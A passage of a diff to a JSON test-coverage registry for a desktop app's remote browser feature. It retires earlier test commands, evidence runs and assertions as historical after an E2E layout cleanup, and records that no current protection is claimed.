omitted placement, missing capabilities, explicit server placement, exact renderer-store materialization after delayed publication, no fallback after client-create failure, folder workspaces, git worktrees, browserless hosts, native and WSL routes, exact connected SSH authority, reconnect command replay, lease replacement, imported-inventory cleanup, bounded retirement, and shared remote screencast fanout for multiple independent viewers. A published v1.4.184 package runs both skew directions: an old client omits placement against the current host, while a current client capability-downgrades against the old host; each creates one server guest, no client guest, and returns the exact snapshot marker. A current iOS Simulator client paired to that legacy packaged host visibly loads Example Domain through the preserved server-hosted surface. A Docker OpenSSH target proves container-only DNS and localhost through both ssh2 and system-SSH routes. Physical Windows/Linux Electron and physical mobile journeys remain gaps. The two Docker remote-only SSH browser routing journeys now run in the dedicated Linux ssh-browser-network-route CI job on full runs and their mapped source/test changes; 2 baseline and 6 repeated cases passed with no skips/retries on 2026-09-06. Schema-only placement/navigation acceptance is excluded from behavioral and mixed-version evidence. The mocked client-placement and immediate create-failure suites were removed, including parameter selection, delayed mocked materialization and no-fallback call ledgers. The remaining live journeys and contracts do not establish equivalent unit alarms. Earlier descriptions and executed results for those fixtures are historical.", "motivatingLinks": [ "https://linear.app/stably/issue/STA-4150/refactor-remote-browser-to-client-hosted-electron-webviews" ], "invariant": "Placement is selected exactly once before page creation. An eligible, capable paired Electron desktop creates one client-hosted guest; old, ineligible, web/mobile, browserless-client, or explicit-server callers use the unchanged server path. Omitted placement remains server-hosted. Once client placement is selected, failure is surfaced and must not create, migrate, or fall back to a server guest. The acknowledged exact environment, worktree or folder workspace, remote page, and target group must materialize before the renderer reports success. Client pages bypass screencast and remote-input rendering, while agent and CLI automation routes only to the exact client guest. Disabling the kill switch affects only later pages. Reconnect, replacement, and cleanup preserve exact authority and never revive or retire another generation.", - "oracle": "Test-value audit removes two direct execution-host classifier refusal examples and their active selector; their helper alarms are lost without replacement routing coverage. Test-value audit removes the retired suite and its active selectors/assertions. Retire screencast lifecycle restart/argument/frame-count and malformed-frame ACK examples; decoded frame freshness and stream cases remain with narrower scope. Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1687 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1686 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Create through the normal renderer-store action with client hosting enabled. Require client placement, one client-owned guest at the fixture URL, zero server-owned guests, no remote-browser frame, a visible retained marker, and a browser.snapshot marker from the same remote page. Disable the setting and require that guest to survive; create another page and require one server-owned guest, zero matching client guests, and a visible server screencast. Delay renderer publication after tabCreate acknowledgement and require one exact bounded subscription to materialize the page without polling or cleanup. Reject a client create and require no server fallback. Omit placement or capabilities and require no client-host RPC. During replacement, admit close-first only for negotiated reconciliation of imported inventory; ordinary close-first and navigate-first remain rejected. Run the same placement oracle against headed and headless paired hosts, plus deterministic native, SSH, WSL, folder, worktree, reconnect, retirement, and browserless-host contracts.", - "commands": [ - "pnpm exec playwright test tests/e2e/paired-client-hosted-browser.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/runtime-browser-client-page-creation.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/main/ipc/runtime-environments/browser-hosting/runtime-environment-browser-client-host-handler.test.ts", - "SKIP_BUILD=1 ORCA_CROSS_VERSION_PACKAGED_EXECUTABLE=/Applications/Orca.app/Contents/MacOS/Orca pnpm exec playwright test tests/e2e/packaged-mixed-version-browser-placement.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/browser/network/execution-routes/wsl-browser-network-execution-route.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/cdp/screencast/browser-screencast-stream.test.ts", - "ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts", - "Manual iOS 26.5 simulator: pair current mobile code to packaged Orca 1.4.184; create Browser; navigate to https://example.com; require one visible Example Domain tab on the server-hosted surface", - "ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts" - ], - "testFiles": [ - "tests/e2e/paired-client-hosted-browser.spec.ts", - "src/main/runtime/browser/client-pages/runtime-browser-client-page-creation.test.ts", - "src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts", - "src/shared/remote-runtime/remote-runtime-client.test.ts", - "src/main/ipc/runtime-environments/browser-hosting/runtime-environment-browser-client-host-handler.test.ts", - "tests/e2e/packaged-mixed-version-browser-placement.spec.ts", - "src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts", - "src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts", - "src/main/browser/network/execution-routes/wsl-browser-network-execution-route.test.ts", - "src/main/browser/cdp/screencast/browser-screencast-stream.test.ts", - "tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts" - ], - "assertionRefs": [ - { - "file": "tests/e2e/paired-client-hosted-browser.spec.ts", - "assertions": [ - "headed and headless product actions select one client placement with one viewing-desktop guest and no server duplicate", - "client pages render without a remote screencast and browser.snapshot reaches the exact retained guest", - "the kill switch preserves existing client pages and selects server placement only for the next page" - ] - }, - { - "file": "tests/e2e/packaged-mixed-version-browser-placement.spec.ts", - "assertions": [ - "an old packaged client omits placement and creates exactly one current-host guest with no client guest", - "a current client detects an old packaged host, keeps server placement, and creates no local guest", - "both skew directions return the exact server-hosted snapshot marker" - ] - }, - { - "file": "tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts", - "assertions": [ - "ssh2 and system OpenSSH resolve a container-only domain and localhost on the execution host" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-16", - "runner": "local", - "platform": "macos", - "command": "pnpm exec playwright test tests/e2e/paired-client-hosted-browser.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 48.8, - "summary": "Two fresh-build production journeys passed against isolated headed Electron and real headless orca serve hosts, including client ownership, visible retained content, automation, no screencast, new-page-only kill switch, and server fallback without duplicate execution.", - "currentCommand": "pnpm exec playwright test tests/e2e/paired-client-hosted-browser.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-08-16", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_CROSS_VERSION_PACKAGED_EXECUTABLE=/Applications/Orca.app/Contents/MacOS/Orca pnpm exec playwright test tests/e2e/packaged-mixed-version-browser-placement.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 10.3, - "summary": "Two packaged v1.4.184 skew journeys passed four times (9.6, 10.3, 9.5, and 10.3 seconds), including after the latest-main rebase: old client to current host and current client to old host each selected server placement, owned one host guest and zero client guests, and returned packaged-skew-marker through browser.snapshot.", - "currentCommand": "SKIP_BUILD=1 ORCA_CROSS_VERSION_PACKAGED_EXECUTABLE=/Applications/Orca.app/Contents/MacOS/Orca pnpm exec playwright test tests/e2e/packaged-mixed-version-browser-placement.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-08-16", - "runner": "local", - "platform": "macos", - "command": "ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts", - "result": "passed", - "durationSeconds": 3.31, - "summary": "Two real Docker/OpenSSH routes resolved and loaded a container-only HTTP target through ssh2 and system SSH.", - "currentCommand": "ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts" - }, - { - "date": "2026-08-16", - "runner": "manual", - "platform": "ios", - "command": "Manual iOS 26.5 simulator: pair current mobile code to packaged Orca 1.4.184; create Browser; navigate to https://example.com; require one visible Example Domain tab on the server-hosted surface", - "result": "passed", - "durationSeconds": 180, - "summary": "Current mobile code paired to an isolated legacy packaged host, created one Browser tab, and visibly progressed from about:blank through loading to Example Domain at https://example.com/ on the server-hosted mobile surface.", - "currentCommand": "Manual iOS 26.5 simulator: pair current mobile code to packaged Orca 1.4.184; create Browser; navigate to https://example.com; require one visible Example Domain tab on the server-hosted surface" - }, - { - "date": "2026-09-06", - "runner": "ci", - "platform": "linux", - "command": "ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts", - "result": "passed", - "durationSeconds": 28.29, - "summary": "Previously excluded Docker SSH2 and system-OpenSSH remote-only domain journeys: 2/2 baseline cases (34043512327) plus 6/6 across three independent CI jobs (34043659504), zero skips/retries. Dedicated ssh-browser-network-route job now executes them for full E2E runs and matched source/test edits; preserves all original route and authority assertions.", - "currentCommand": "ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts" - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Test-value audit removes two direct execution-host classifier refusal examples and their active selector; their helper alarms are lost without replacement routing coverage. Test-value audit removes the retired suite and its active selectors/assertions. Retire screencast lifecycle restart/argument/frame-count and malformed-frame ACK examples; decoded frame freshness and stream cases remain with narrower scope. Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1687 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1686 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Create through the normal renderer-store action with client hosting enabled. Require client placement, one client-owned guest at the fixture URL, zero server-owned guests, no remote-browser frame, a visible retained marker, and a browser.snapshot marker from the same remote page. Disable the setting and require that guest to survive; create another page and require one server-owned guest, zero matching client guests, and a visible server screencast. Delay renderer publication after tabCreate acknowledgement and require one exact bounded subscription to materialize the page without polling or cleanup. Reject a client create and require no server fallback. Omit placement or capabilities and require no client-host RPC. During replacement, admit close-first only for negotiated reconciliation of imported inventory; ordinary close-first and navigate-first remain rejected. Run the same placement oracle against headed and headless paired hosts, plus deterministic native, SSH, WSL, folder, worktree, reconnect, retirement, and browserless-host contracts.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 300, - "scope": "fresh-build headed and headless paired Electron journeys plus deterministic placement, compatibility, reconnect, route, and Docker SSH contracts" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. fresh-build headed and headless paired Electron journeys plus deterministic placement, compatibility, reconnect, route, and Docker SSH contracts" }, "flakeHistory": { - "status": "unknown", - "evidence": "The fresh headed/headless and deterministic matrices pass locally; CI and cross-platform soak history have not started for the activated cumulative tip." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: The fresh headed/headless and deterministic matrices pass locally; CI and cross-platform soak history have not started for the activated cumulative tip." }, "redGreenEvidence": { - "status": "partial", - "evidence": "Before activation, production capability advertisement, client-host RPC registration, placement preparation, runtime client creation, logical publication, retained mounting, and automation routing were absent. During cumulative validation, delayed post-ack renderer publication caused the real paired journey to declare failure before the exact page materialized; the new deterministic delayed-publication test was red until a bounded exact Zustand subscription replaced the immediate check. Reconnect validation was then red 3 of 116 because the activation ordering guard rejected replacement-ledger close-first reconciliation for client-reported imported inventory; admitting only reconciliation close-first made the unchanged lifecycle package green 116 of 116 while a new unit oracle keeps ordinary close-first rejected. The paired tunnel integration was red 3 of 3 because its fixture duplicated methods now registered by the production registry; exercising ALL_RPC_METHODS directly is green 3 of 3. Packaged old/new skew and a current-mobile/legacy-host journey are now green; full candidate-revert evidence remains to be collected before promotion." + "status": "missing", + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Before activation, production capability advertisement, client-host RPC registration, placement preparation, runtime client creation, logical publication, retained mounting, and automation routing were absent. During cumulative validation, delayed post-ack renderer publication caused the real paired journey to declare failure before the exact page materialized; the new deterministic delayed-publication test was red until a bounded exact Zustand subscription replaced the immediate check. Reconnect validation was then red 3 of 116 because the activation ordering guard rejected replacement-ledger close-first reconciliation for client-reported imported inventory; admitting only reconciliation close-first made the unchanged lifecycle package green 116 of 116 while a new unit oracle keeps ordinary close-first rejected. The paired tunnel integration was red 3 of 3 because its fixture duplicated methods now registered by the production registry; exercising ALL_RPC_METHODS directly is green 3 of 3. Packaged old/new skew and a current-mobile/legacy-host journey are now green; full candidate-revert evidence remains to be collected before promotion." }, "performanceBudget": { "required": true, - "evidence": "Placement preparation performs one fresh capability/status check and starts or reuses one exact browser host. Materialization uses one bounded exact store subscription with no polling and releases it on match or timeout. Each client page owns one retained non-reparented webview, one route/profile partition, one reference-counted execution-host grant, and bounded command/result state. Automation reuses the existing AgentBrowserBridge through one bounded negotiated envelope rather than duplicating browser methods. Headed and headless journeys each create exactly one client guest and one later server guest with no duplicate engine." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Placement preparation performs one fresh capability/status check and starts or reuses one exact browser host. Materialization uses one bounded exact store subscription with no polling and releases it on match or timeout. Each client page owns one retained non-reparented webview, one route/profile partition, one reference-counted execution-host grant, and bounded command/result state. Automation reuses the existing AgentBrowserBridge through one bounded negotiated envelope rather than duplicating browser methods. Headed and headless journeys each create exactly one client guest and one later server guest with no duplicate engine." }, "promotionCriteria": [ "Run the same production placement and traffic-isolation oracle on physical Windows and Linux Electron hosts, including headed and headless where supported.", @@ -5175,7 +4617,15 @@ "The setting currently requires explicit enablement while product rollout policy is decided; disabling it is intentionally new-page-only.", "The mocked client-placement and immediate create-failure suites were removed, including parameter selection, delayed mocked materialization and no-fallback call ledgers. The remaining live journeys and contracts do not establish equivalent unit alarms. Earlier descriptions and executed results for those fixtures are historical.", "The browser-placement schema suite was retired; its initial optional-field inventory is no longer active coverage. Historical local/macos run on 2026-08-16: pnpm exec vitest run --config config/vitest.config.ts tests/e2e/cross-version-wire/cross-version-browser-placement.unit.test.ts; passed in 0.23s. Three assertions passed against published v1.4.182 and the current tree: the release lacks the negotiated capabilities, strips additive placement without changing legacy fields, and the current server preserves an old request with omitted placement. No replacement equivalence is claimed.", - "Test-value audit: Retire screencast lifecycle restart/argument/frame-count and malformed-frame ACK examples; decoded frame freshness and stream cases remain with narrower scope. No equivalent replacement or fresh execution is claimed." + "Test-value audit: Retire screencast lifecycle restart/argument/frame-count and malformed-frame ACK examples; decoded frame freshness and stream cases remain with narrower scope. No equivalent replacement or fresh execution is claimed.", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-16\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm exec playwright test tests/e2e/paired-client-hosted-browser.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 48.8,\n \"summary\": \"Two fresh-build production journeys passed against isolated headed Electron and real headless orca serve hosts, including client ownership, visible retained content, automation, no screencast, new-page-only kill switch, and server fallback without duplicate execution.\",\n \"currentCommand\": \"pnpm exec playwright test tests/e2e/paired-client-hosted-browser.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-16\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_CROSS_VERSION_PACKAGED_EXECUTABLE=/Applications/Orca.app/Contents/MacOS/Orca pnpm exec playwright test tests/e2e/packaged-mixed-version-browser-placement.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 10.3,\n \"summary\": \"Two packaged v1.4.184 skew journeys passed four times (9.6, 10.3, 9.5, and 10.3 seconds), including after the latest-main rebase: old client to current host and current client to old host each selected server placement, owned one host guest and zero client guests, and returned packaged-skew-marker through browser.snapshot.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_CROSS_VERSION_PACKAGED_EXECUTABLE=/Applications/Orca.app/Contents/MacOS/Orca pnpm exec playwright test tests/e2e/packaged-mixed-version-browser-placement.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-16\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\n \"result\": \"passed\",\n \"durationSeconds\": 3.31,\n \"summary\": \"Two real Docker/OpenSSH routes resolved and loaded a container-only HTTP target through ssh2 and system SSH.\",\n \"currentCommand\": \"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-09-06\",\n \"runner\": \"ci\",\n \"platform\": \"linux\",\n \"command\": \"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\n \"result\": \"passed\",\n \"durationSeconds\": 28.29,\n \"summary\": \"Previously excluded Docker SSH2 and system-OpenSSH remote-only domain journeys: 2/2 baseline cases (34043512327) plus 6/6 across three independent CI jobs (34043659504), zero skips/retries. Dedicated ssh-browser-network-route job now executes them for full E2E runs and matched source/test edits; preserves all original route and authority assertions.\",\n \"currentCommand\": \"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-16\",\n \"runner\": \"manual\",\n \"platform\": \"ios\",\n \"command\": \"Manual iOS 26.5 simulator: pair current mobile code to packaged Orca 1.4.184; create Browser; navigate to https://example.com; require one visible Example Domain tab on the server-hosted surface\",\n \"result\": \"passed\",\n \"durationSeconds\": 180,\n \"summary\": \"Current mobile code paired to an isolated legacy packaged host, created one Browser tab, and visibly progressed from about:blank through loading to Example Domain at https://example.com/ on the server-hosted mobile surface.\",\n \"currentCommand\": \"Manual iOS 26.5 simulator: pair current mobile code to packaged Orca 1.4.184; create Browser; navigate to https://example.com; require one visible Example Domain tab on the server-hosted surface\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec playwright test tests/e2e/paired-client-hosted-browser.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/runtime-browser-client-page-creation.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/main/ipc/runtime-environments/browser-hosting/runtime-environment-browser-client-host-handler.test.ts\",\n \"SKIP_BUILD=1 ORCA_CROSS_VERSION_PACKAGED_EXECUTABLE=/Applications/Orca.app/Contents/MacOS/Orca pnpm exec playwright test tests/e2e/packaged-mixed-version-browser-placement.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/browser/network/execution-routes/wsl-browser-network-execution-route.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/cdp/screencast/browser-screencast-stream.test.ts\",\n \"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\n \"Manual iOS 26.5 simulator: pair current mobile code to packaged Orca 1.4.184; create Browser; navigate to https://example.com; require one visible Example Domain tab on the server-hosted surface\",\n \"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\"\n ]\ntestFiles: [\n \"tests/e2e/paired-client-hosted-browser.spec.ts\",\n \"src/main/runtime/browser/client-pages/runtime-browser-client-page-creation.test.ts\",\n \"src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts\",\n \"src/shared/remote-runtime/remote-runtime-client.test.ts\",\n \"src/main/ipc/runtime-environments/browser-hosting/runtime-environment-browser-client-host-handler.test.ts\",\n \"tests/e2e/packaged-mixed-version-browser-placement.spec.ts\",\n \"src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts\",\n \"src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts\",\n \"src/main/browser/network/execution-routes/wsl-browser-network-execution-route.test.ts\",\n \"src/main/browser/cdp/screencast/browser-screencast-stream.test.ts\",\n \"tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/paired-client-hosted-browser.spec.ts\",\n \"assertions\": [\n \"headed and headless product actions select one client placement with one viewing-desktop guest and no server duplicate\",\n \"client pages render without a remote screencast and browser.snapshot reaches the exact retained guest\",\n \"the kill switch preserves existing client pages and selects server placement only for the next page\"\n ]\n },\n {\n \"file\": \"tests/e2e/packaged-mixed-version-browser-placement.spec.ts\",\n \"assertions\": [\n \"an old packaged client omits placement and creates exactly one current-host guest with no client guest\",\n \"a current client detects an old packaged host, keeps server placement, and creates no local guest\",\n \"both skew directions return the exact server-hosted snapshot marker\"\n ]\n },\n {\n \"file\": \"tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\n \"assertions\": [\n \"ssh2 and system OpenSSH resolve a container-only domain and localhost on the execution host\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/runtime-browser-client-page-creation.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/main/ipc/runtime-environments/browser-hosting/runtime-environment-browser-client-host-handler.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/browser/network/execution-routes/wsl-browser-network-execution-route.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/cdp/screencast/browser-screencast-stream.test.ts\",\"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts\",\"Manual iOS 26.5 simulator: pair current mobile code to packaged Orca 1.4.184; create Browser; navigate to https://example.com; require one visible Example Domain tab on the server-hosted surface\",\"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts\"],\"testFiles\":[\"src/main/runtime/browser/client-pages/runtime-browser-client-page-creation.test.ts\",\"src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts\",\"src/shared/remote-runtime/remote-runtime-client.test.ts\",\"src/main/ipc/runtime-environments/browser-hosting/runtime-environment-browser-client-host-handler.test.ts\",\"src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts\",\"src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts\",\"src/main/browser/network/execution-routes/wsl-browser-network-execution-route.test.ts\",\"src/main/browser/cdp/screencast/browser-screencast-stream.test.ts\",\"tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts\"],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\",\"ios\",\"linux\"],\"coveredProviders\":[\"remote-runtime\",\"ssh\",\"wsl\"],\"redGreenEvidence\":{\"status\":\"partial\",\"evidence\":\"Before activation, production capability advertisement, client-host RPC registration, placement preparation, runtime client creation, logical publication, retained mounting, and automation routing were absent. During cumulative validation, delayed post-ack renderer publication caused the real paired journey to declare failure before the exact page materialized; the new deterministic delayed-publication test was red until a bounded exact Zustand subscription replaced the immediate check. Reconnect validation was then red 3 of 116 because the activation ordering guard rejected replacement-ledger close-first reconciliation for client-reported imported inventory; admitting only reconciliation close-first made the unchanged lifecycle package green 116 of 116 while a new unit oracle keeps ordinary close-first rejected. The paired tunnel integration was red 3 of 3 because its fixture duplicated methods now registered by the production registry; exercising ALL_RPC_METHODS directly is green 3 of 3. Packaged old/new skew and a current-mobile/legacy-host journey are now green; full candidate-revert evidence remains to be collected before promotion.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"The fresh headed/headless and deterministic matrices pass locally; CI and cross-platform soak history have not started for the activated cumulative tip.\"},\"runtimeBudget\":{\"p95Seconds\":300,\"scope\":\"fresh-build headed and headless paired Electron journeys plus deterministic placement, compatibility, reconnect, route, and Docker SSH contracts\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Placement preparation performs one fresh capability/status check and starts or reuses one exact browser host. Materialization uses one bounded exact store subscription with no polling and releases it on match or timeout. Each client page owns one retained non-reparented webview, one route/profile partition, one reference-counted execution-host grant, and bounded command/result state. Automation reuses the existing AgentBrowserBridge through one bounded negotiated envelope rather than duplicating browser methods. Headed and headless journeys each create exactly one client guest and one later server guest with no duplicate engine.\"}}" ], "demotionRule": "Demote if placement changes after creation, a client failure creates a server fallback page, one logical page owns two engines, an omitted or unnegotiated field activates client hosting, the execution route resolves on the viewing desktop, a client page uses screencast/input RPC rendering, automation reaches a different page or engine, delayed publication leaks listeners or causes cleanup of a materialized page, or the kill switch mutates an existing page." }, @@ -5183,7 +4633,7 @@ "id": "browser-stream.bounded-reconnect", "title": "Remote browser streams recover within a bounded retry budget", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "browser-runtime", "layer": "renderer-state-machine-paired-runtime", "surfaces": [ @@ -5193,68 +4643,34 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["remote-runtime"], - "coveredPlatforms": ["macos", "linux"], - "coveredProviders": ["remote-runtime"], - "coverageNotes": "Audit5758 companion to audit5754 intentionally retires the whole remote-browser-stream-restart-scheduler.test.ts suite. Direct fake-clock bounded exhaustion, rejected-attempt continuation, in-flight cancellation without re-arm and one replacement-chain alarms are lost without equivalent replacement. The unit command is narrowed and scheduler testFiles/assertionRefs entries removed. Separate lifecycle and paired-runtime selector assertions/evidence keep only their original scope and are not reassessed as replacements. No fresh execution, current import reachability or native/platform coverage is claimed. Complete prior account preserved verbatim as historical, including references to then-retained scheduler cases: The retained fake-clock scheduler cases check bounded exhaustion, rejected attempts continuing to exhaustion, in-flight cancellation, and one queued replacement chain. Direct transient-success counted-delay, healthy-budget reset, and pending-cancellation cases were removed. Existing lifecycle and paired-runtime coverage remain separate and were not re-reviewed as equivalent replacements in this audit. The historical headless paired journey disconnects the real runtime, shows Reconnect, reconnects the same host, and requires a new frame. Headed paired-server, Windows, sleep/wake, and real network-partition evidence remain uncollected.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5758 companion to audit5754 intentionally retires the whole remote-browser-stream-restart-scheduler.test.ts suite. Direct fake-clock bounded exhaustion, rejected-attempt continuation, in-flight cancellation without re-arm and one replacement-chain alarms are lost without equivalent replacement. The unit command is narrowed and scheduler testFiles/assertionRefs entries removed. Separate lifecycle and paired-runtime selector assertions/evidence keep only their original scope and are not reassessed as replacements. No fresh execution, current import reachability or native/platform coverage is claimed. Complete prior account preserved verbatim as historical, including references to then-retained scheduler cases: The retained fake-clock scheduler cases check bounded exhaustion, rejected attempts continuing to exhaustion, in-flight cancellation, and one queued replacement chain. Direct transient-success counted-delay, healthy-budget reset, and pending-cancellation cases were removed. Existing lifecycle and paired-runtime coverage remain separate and were not re-reviewed as equivalent replacements in this audit. The historical headless paired journey disconnects the real runtime, shows Reconnect, reconnects the same host, and requires a new frame. Headed paired-server, Windows, sleep/wake, and real network-partition evidence remain uncollected.", "motivatingLinks": [ "https://github.com/stablyai/orca/pull/12787", "https://linear.app/stably/issue/STA-3483" ], "invariant": "A current remote browser stream that closes must retry transient failures on one counted, capped backoff chain. Cancellation, pane or runtime supersession, missing pages, and permanent failures stop that chain without stale state mutation. A stream that stays healthy refills the budget; a silent or flapping stream cannot retry forever. Exhaustion and every non-retrying failure leave 